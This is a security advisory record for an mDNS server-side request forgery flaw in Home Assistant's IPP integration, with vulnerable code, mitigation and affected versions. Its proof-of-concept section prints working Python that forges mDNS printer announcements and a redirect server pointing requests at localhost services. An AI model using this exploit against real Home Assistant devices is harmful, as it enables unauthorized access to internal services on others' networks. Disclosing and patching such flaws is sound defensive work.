CVE-2026-91129: Home Assistant MDNS Server-Side Request Forgery Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4ghv-53cq-7wp3",
  "modified" : "2026-09-22T20:40:51Z",
  "published" : "2026-09-22T20:40:51Z",
  "aliases" : [ "CVE-2026-91129" ],
  "summary" : "Home Assistant: mDNS Server-Side Request Forgery",
  "details" : "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration's zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n    self, discovery_info: ZeroconfServiceInfo\n) -> ConfigFlowResult:\n    host = discovery_info.host\n    port = discovery_info.port\n    zctype = discovery_info.type\n    name = discovery_info.name.replace(f\".{zctype}\", \"\")\n    tls = zctype == \"_ipps._tcp.local.\"\n    base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n    self.discovery_info.update(\n        {\n            CONF_HOST: host,\n            CONF_PORT: port,\n            CONF_SSL: tls,\n            CONF_VERIFY_SSL: False,\n            CONF_BASE_PATH: f\"/{base_path}\",\n            CONF_NAME: name,\n            CONF_UUID: unique_id,\n        }\n    )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:\n    session = async_get_clientsession(hass)\n    ipp = IPP(\n        host=data[CONF_HOST],\n        port=data[CONF_PORT],\n        base_path=data[CONF_BASE_PATH],\n        tls=data[CONF_SSL],\n        verify_ssl=data[CONF_VERIFY_SSL],\n        session=session,\n    )\n    printer = await ipp.printer()\n    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n    transaction_id = 0x0000  # mDNS always 0\n    flags = 0x8400           # Standard response, authoritative answer\n    qdcount = 0\n    ancount = 4              # 4 answers (service_type, SRV, TXT, A)\n    nscount = 0\n    arcount = 0\n\n    SRV = service_name + '.' + service_type\n    header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n    def encode_name(name):\n        parts = name.split(\".\")\n        out = b\"\"\n        for p in parts:\n            out += bytes([len(p)]) + p.encode(\"utf-8\")\n        out += b\"\\x00\"\n        return out\n\n    answers = b\"\"\n\n    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local\n    answers += encode_name(service_type)\n    answers += struct.pack(\"!HHI\", 12, 1, 1)\n    target = encode_name(SRV)\n    answers += struct.pack(\"!H\", len(target)) + target\n\n    # SRV record\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 33, 1, 120)\n    srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n    # TXT record\n    txt_strs = [b\"abcd=efgh\"]\n    txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 16, 1, 120)\n    answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n    # A record: hihiabcdmeomeo.local -> attacker IP\n    answers += encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!HHI\", 1, 1, 120)\n    ip_bytes = socket.inet_aton(attacker_ip)\n    answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n    return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n    sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker's HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:<INTERNAL_PORT>/<path>\")\n        self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000\n3. Home Assistant's IPP integration automatically discovers the \"printer\" and connects to the attacker's HTTP server\n4. The attacker's server responds with a 302 redirect to `http://127.0.0.1:<port>/<path>`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "homeassistant"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 2026.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/pull/162941"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/home-assistant/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/releases/tag/2026.2.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:51Z",
    "nvd_published_at" : null
  }
}